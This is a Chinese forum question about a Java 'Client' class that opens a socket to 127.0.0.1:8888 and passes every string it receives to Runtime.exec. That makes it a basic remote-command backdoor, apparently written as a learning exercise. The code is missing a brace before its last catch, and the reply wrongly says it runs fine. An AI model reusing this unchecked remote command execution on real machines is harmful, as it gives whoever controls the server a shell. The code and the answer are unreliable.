为了账号安全,请及时绑定邮箱和手机立即绑定

最后一行出现了问题,该怎么修改啊?

最后一行出现了问题,该怎么修改啊?

喵喔喔 2023-01-12 17:13:53

package qq;
import java.io.*;
import java.net.*;
public class Client implements Runnable{
String s=null;
Socket mysocket;
DataInputStream in=null;
DataOutputStream out=null;
Thread thread=null;
Client()
{
thread=new Thread(this);/*我们要随时等待客户端的命令所以要开辟以线程,如果连上了主机那么我们谁是候命这就是需要开一个线程*/
try { Thread.sleep(500);
mysocket=new Socket("127.0.0.1",8888);
//下面是初始化流
in=new DataInputStream(mysocket.getInputStream());
out=new DataOutputStream(mysocket.getOutputStream());
} catch (UnknownHostException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
catch(Exception e){}
thread.start();//启动线程
}
public static void main(String args[])
{
Client c=new Client();
}
public void f(String s)
{
try {
Runtime ec=Runtime.getRuntime();
ec.exec(s);
} catch (IOException e) {
e.printStackTrace();
}
}
public void run() {
System.out.println("接受线程启动");
while(true)
{
try{
String s=in.readUTF();
f(s);//调用方法运行远程命令
Thread.sleep(200);
}catch(Exception e){}
try {
Thread.sleep(200);/*为了防止cpu占用过高或者内存占用过大这一句话是必要的*/

catch (InterruptedException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}

查看完整描述

1 回答

?
偶然的你

TA贡献1601条经验 获得超3个赞

您有没有错误,我复制的代码,并试图,未出现明显异常。否则,你点切断,然后将其粘贴尝试,我敢肯定,是的,我有一个正在运行的结果..

查看完整回答
反对 回复 2023-01-15

添加回答

举报

0/150
提交
取消
意见反馈 帮助中心 APP下载
官方微信